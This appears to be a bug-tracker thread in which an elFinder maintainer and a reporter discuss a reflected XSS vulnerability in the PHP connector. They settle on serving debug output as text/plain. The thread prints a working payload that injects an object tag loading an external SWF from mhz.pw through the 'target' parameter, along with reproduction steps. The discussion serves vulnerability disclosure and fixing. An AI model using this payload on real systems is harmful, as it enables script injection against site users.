Possible XSS issue

[dleffler]

I've been notified of an XSS security vulnerability within elFinder. The fix is to add htmlspecialchars($data) into line 309 of elFinderConnector.class.php to filter the json output.

    $out = json_encode(htmlspecialchars($data));

I have additional details including the payload and other research as sent to me by chengable

[nao-pon]

@dleffler Since sends data from the connector may contain HTML tags, we can not accept this proposal. Please sanitize your own data separately. Or use fm.escape() to escape on client side.

[dleffler]

Perhaps the fix given to me wasn't the real fix...here is the payload:

localhost/connector.php?cmd=open&target=l1_asdl<object%2
0allowscriptaccess=always>%20<param%20name=url%20value=http%3A%2F%2F
mhz.pw%2Fgame%2Fxss%2Falert.swf>

[nao-pon]

Give that payload to the elFinder connector, the next response will be returned.

{"error":["errOpen","#l1_asdl<object allowscriptaccess=always> <param name=url value=http:\/\/mhz.pw\/game\/xss\/alert.swf>","errFolderNotFound"]}

This is the error dialog displayed by that data.

It does not seem to be vulnerable to XSS.

[dleffler]

This seems to only occur when 'debug' is turned ON (where the output is not escaped). With a test setup

http://localhost/elFinder/php/connector.php?cmd=open&target=l1_asdl<object%2
0allowscriptaccess=always>%20<param%20name=url%20value=http%3A%2F%2F
mhz.pw%2Fgame%2Fxss%2Falert.swf>

[nao-pon]

I am testing in debug mode, but I can not reproduce this problem.
Could you explain the detailed procedure to reproduce this problem?

[dleffler]

1. extract elFinder into your web folder into folder named 'elFinder'
2. rename php/connector.php.dist to connector.php
3. browse to the above url in your browser

The issue will not appear with connector.minimal.php.dist since debug is not passed to elFinderConnector. It appears the issue is if you force json output as text/html.

[nao-pon]

Yes, I understood. I was checking the display on the wlFinder client. text/plain should be returned in the content type when debugging.